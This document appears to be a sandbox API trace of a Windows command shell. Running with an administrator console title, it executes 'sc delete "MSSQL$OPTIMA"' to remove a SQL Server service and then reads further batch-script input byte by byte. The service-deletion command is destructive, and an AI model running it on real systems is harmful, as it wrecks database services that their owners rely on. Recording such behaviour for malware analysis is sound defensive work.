wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.989] GetProcessHeap () returned 0x4a0000 [0071.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.989] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.989] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.989] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.990] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.991] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.991] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.991] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.991] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.991] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.991] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.991] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.991] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.991] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.991] GetProcessHeap () returned 0x4a0000 [0071.991] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.991] GetProcessHeap () returned 0x4a0000 [0071.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.991] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"MSSQL$OPTIMA\"", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xb5c, dwThreadId=0xb94)) returned 1 [0072.013] CloseHandle (hObject=0x54) returned 1 [0072.013] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.013] GetProcessHeap () returned 0x4a0000 [0072.013] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.013] GetEnvironmentStringsW () returned 0x4c1b10* [0072.013] GetProcessHeap () returned 0x4a0000 [0072.013] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.014] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.014] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.014] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.014] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.064] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.064] CloseHandle (hObject=0x50) returned 1 [0072.064] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.064] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.064] GetProcessHeap () returned 0x4a0000 [0072.064] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.065] GetEnvironmentStringsW () returned 0x4c1b10* [0072.065] GetProcessHeap () returned 0x4a0000 [0072.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.065] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.065] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.065] GetProcessHeap () returned 0x4a0000 [0072.065] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.065] GetEnvironmentStringsW () returned 0x4c1b10* [0072.065] GetProcessHeap () returned 0x4a0000 [0072.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.065] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.065] GetProcessHeap () returned 0x4a0000 [0072.065] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.065] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.065] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.066] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.066] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.066] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.066] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.066] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.066] GetConsoleOutputCP () returned 0x1b5 [0072.067] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.067] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.067] GetProcessHeap () returned 0x4a0000 [0072.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.067] GetProcessHeap () returned 0x4a0000 [0072.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.067] GetProcessHeap () returned 0x4a0000 [0072.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.067] GetProcessHeap () returned 0x4a0000 [0072.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0072.067] GetProcessHeap () returned 0x4a0000 [0072.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0072.067] GetProcessHeap () returned 0x4a0000 [0072.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.067] GetProcessHeap () returned 0x4a0000 [0072.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0072.067] GetProcessHeap () returned 0x4a0000 [0072.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.067] GetProcessHeap () returned 0x4a0000 [0072.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.068] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.068] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.068] GetFileType (hFile=0x120) returned 0x3 [0072.068] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.068] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.068] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.068] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.068] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.069] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.069] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.069] GetFileType (hFile=0x120) returned 0x3 [0072.069] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.069] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.069] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.069] GetFileType (hFile=0xb8) returned 0x3 [0072.069] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.069] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.069] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.069] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.069] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.069] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.069] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.069] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.069] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.069] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.069] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.070] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.070] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.070] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.070] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.070] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.070] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.070] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.070] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.070] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.070] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.070] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.070] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.070] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.070] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.070] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.071] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.071] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.071] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.071] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.071] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.071] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.071] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.071] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.071] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.071] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.071] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.071] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.071] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.071] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.071] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="QSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.071] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.071] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.072] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="LQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.072] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="AL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.072] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="g$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.072] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="eOPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.072] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="nPTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.073] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="tTIMA\"\nr$OPTIMA\"\n") returned 1 [0072.073] _get_osfhandle 